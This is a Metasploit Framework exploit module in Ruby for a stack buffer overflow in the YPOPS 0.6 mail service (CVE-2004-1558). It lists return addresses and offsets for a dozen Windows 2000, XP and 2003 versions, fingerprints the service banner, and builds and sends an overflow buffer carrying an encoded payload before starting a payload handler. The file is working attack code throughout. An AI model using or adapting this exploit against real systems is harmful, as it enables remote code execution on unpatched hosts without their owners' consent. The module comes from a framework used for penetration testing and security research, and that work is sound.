98 lines
2.9 KiB
Ruby
98 lines
2.9 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Smtp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'YPOPS 0.6 Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the YPOPS POP3
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service.
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This is a classic stack buffer overflow for YPOPS version 0.6.
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Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to
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jmp ebx opcode in ws_32.dll
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},
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'Author' => [ 'acaro <acaro[at]jervus.it>' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2004-1558'],
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[ 'OSVDB', '10367'],
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[ 'BID', '11256'],
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[ 'URL', 'http://www.securiteam.com/windowsntfocus/5GP0M2KE0S.html'],
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],
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'Platform' => 'win',
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 1200,
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'BadChars' => "\x00\x25",
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'MinNops' => 106,
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},
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'Targets' =>
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[
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[ 'Windows 2000 SP0 Italian', { 'Ret' => 0x74fe6113, 'Offset' => 503 }, ],
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[ 'Windows 2000 Advanced Server Italian SP4', { 'Ret' => 0x74fe16e2, 'Offset' => 503 }, ],
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[ 'Windows 2000 Advanced Server SP3 English', { 'Ret' => 0x74fe22f3, 'Offset' => 503 }, ],
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[ 'Windows 2000 SP0 English', { 'Ret' => 0x75036113, 'Offset' => 503 }, ],
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[ 'Windows 2000 SP1 English', { 'Ret' => 0x750317b2, 'Offset' => 503 }, ],
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[ 'Windows 2000 SP2 English', { 'Ret' => 0x7503435b, 'Offset' => 503 }, ],
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[ 'Windows 2000 SP3 English', { 'Ret' => 0x750322f3, 'Offset' => 503 }, ],
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[ 'Windows 2000 SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 503 }, ],
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[ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1636, 'Offset' => 503 }, ],
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[ 'Windows XP SP2 English', { 'Ret' => 0x71ab773b, 'Offset' => 503 }, ],
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[ 'Windows 2003 SP0 English', { 'Ret' => 0x71c04202, 'Offset' => 503 }, ],
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[ 'Windows 2003 SP1 English', { 'Ret' => 0x71c05fb0, 'Offset' => 503 }, ],
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],
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'DisclosureDate' => 'Sep 27 2004'))
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end
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def check
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connect
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disconnect
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banner.gsub!(/\n/, '')
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if banner =~ /YahooPOPs! Simple Mail Transfer Service Ready/
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print_status("Vulnerable SMTP server: #{banner}")
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return Exploit::CheckCode::Detected
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end
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print_status("Unknown SMTP server: #{banner}")
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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pattern =
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rand_text_alpha(target['Offset'] - payload.encoded.length) +
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payload.encoded +
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[target.ret].pack('V') +
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"\n"
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print_status("Trying #{target.name} using jmp ebx at #{"0x%.8x" % target.ret}")
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sock.put(pattern)
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handler
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disconnect
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end
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end
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